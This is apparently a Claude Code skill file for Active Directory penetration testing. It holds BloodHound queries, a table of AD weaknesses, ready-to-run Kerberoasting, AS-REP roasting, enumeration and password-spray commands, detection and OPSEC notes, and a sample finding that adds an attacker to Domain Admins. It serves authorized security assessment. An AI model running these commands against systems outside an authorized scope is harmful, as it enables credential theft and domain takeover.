Pentest Ad

---
name: pentest-ad
description: Active Directory pentest methodology — BloodHound graph analiz, Kerberos abuse, ACL exploitation, lateral movement path advisory. Triggers on Active Directory, AD pentest, BloodHound, Kerberoasting, AS-REP, DCSync, Golden Ticket, Silver Ticket, NTLM relay, lateral movement, Impacket, NetExec, Certipy.
license: MIT
compatibility: Works with Claude Code
allowed-tools: Read Write Edit Bash Grep
metadata:
  author: badi
  badi-version: ">=1.24.0"
  category: pentest
  scope: advisory
  inspired-by: 0xSteph/pentest-ai-agents ad-attacker (advisory tarafi)
---

# pentest-ad

Internal pentest Active Directory advisory. BloodHound graph, Kerberos zafiyet sinifi, ACL abuse, lateral path. Live komut composer'lama scope deklare ile.

## Triggers

- "AD pentest"
- "BloodHound graph analizi"
- "Kerberoast hash buldum"
- "DCSync edebilir miyim"
- "lateral movement plani"
- "Golden Ticket"
- "NTLM relay"
- "AD CS abuse"

## Methodology Akisi

```
1. Enum: SMB, LDAP, DNS, GPP (passive ilk)
2. Cred: kerbrute users -> AS-REP roasting (no preauth) -> hashcat
3. Foothold: low-priv shell (phish/web/initial)
4. Recon: BloodHound -> high-value path
5. Privesc: ACL abuse, Kerberos delegation, GPO modify
6. Lateral: PtH, PtT, NTLM relay, WinRM, RDP
7. DA: DCSync (Replicating Changes), Golden Ticket (offline)
8. Persistence: Skeleton key, AdminSDHolder (TIER 2, scope-zorunlu)
```

## BloodHound Graph Analizi

Kullanici BloodHound JSON export verirse skill su queries calistirir (Cypher):

```cypher
// Shortest path to Domain Admin from owned user
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN"}))
RETURN p LIMIT 5

// Kerberoastable users with priv access
MATCH (u:User {hasspn:true})-[:MemberOf|AdminTo*1..]->(c:Computer)
WHERE u.enabled=true
RETURN u.name, c.name

// AS-REP roastable
MATCH (u:User {dontreqpreauth:true, enabled:true})
RETURN u.name, u.serviceprincipalnames

// Unconstrained delegation
MATCH (c:Computer {unconstraineddelegation:true})
RETURN c.name, c.distinguishedname

// GPO modify riski
MATCH (g:GPO)<-[:GenericAll|GenericWrite|WriteOwner|WriteDacl]-(u)
RETURN g.name, u.name
```

## Yaygin AD Zafiyet Sinifi

| Zafiyet | Tespit | Etki |
|---------|--------|------|
| AS-REP roast | `DONT_REQUIRE_PREAUTH` flag | Offline crackable hash |
| Kerberoast | User SPN + RC4 ticket | TGS hash crack -> service acc |
| Unconstrained delegation | Computer object flag | DC printer bug ile compromise |
| NTLM relay | SMB sign off, web auth | Account takeover via relay |
| ACL abuse | GenericAll, WriteDacl | Reset password, add to group |
| ADCS ESC1-ESC8 | Vulnerable cert template | Domain admin via cert |
| LAPS read | ReadProperty ms-Mcs-AdmPwd | Local admin password leak |
| GPO modify | WriteProperty on GPO link | Mass policy compromise |
| Constrained delegation | Service can impersonate | DA via service abuse |
| MSSQL trustworthy | xp_cmdshell + sysadmin | SQL -> OS command |

## Onerilen Komutlar (Scope Gerekli)

```bash
# QUIET — anonymous LDAP enum
ldapsearch -x -H ldap://<dc-ip> -b "DC=domain,DC=local" -s sub

# MODERATE — Kerberos user enum (no auth needed)
kerbrute userenum --dc <dc-ip> -d domain.local users.txt

# MODERATE — AS-REP roast (cred yok)
GetNPUsers.py domain.local/ -no-pass -usersfile users.txt -dc-ip <dc-ip>

# MODERATE — Kerberoast (cred ile)
GetUserSPNs.py domain.local/user:password -dc-ip <dc-ip> -request

# MODERATE — BloodHound collection
bloodhound-python -u user -p password -d domain.local -ns <dc-ip> -c All

# LOUD — NetExec spray (single password, all users)
nxc smb <range> -u users.txt -p 'Spring2026!' --continue-on-success
```

## OPSEC Notlari

- AS-REP roast: domain controller event 4768 (Kerberos pre-auth failure) — DETECT edilir
- Kerberoast: TGS-REQ event 4769 + service ticket encryption type 0x17 (RC4) — anormallik
- BloodHound: massive LDAP query trafik (default coll). Yavasla: `--throttle 30`
- NetExec spray: tek password tum users -> account lockout policy tetiklenir (3 yanlis -> 30dk kilit yaygin)

## Bulgu Output Sablonu

```markdown
## AD Compromise Path — <domain>

### Owned Path
1. anonymous SMB shares -> credentials.txt buldum
2. cred: backup-svc / Backup2024!
3. backup-svc Kerberoastable -> hash crack 4 dakika
4. backup-svc -> ServerAdmins group member
5. ServerAdmins -> WriteDacl on Domain Admins
6. Tek komut: net group "Domain Admins" attacker /add -> DA

### Detection Gap (Defansif Cikti)
- Anonymous SMB share access NOT logged
- ServerAdmins WriteDacl change NOT detected (no Event 5136 alert)
- Onerilen Sigma rule: pentest-detection altinda
```

## Out-of-Scope

- Live exploit calistirma (GenericAll abuse Bash composer'i scope ile)
- Persistent backdoor (Skeleton Key gibi) — engagement disinda kalir
- DC fiziksel attack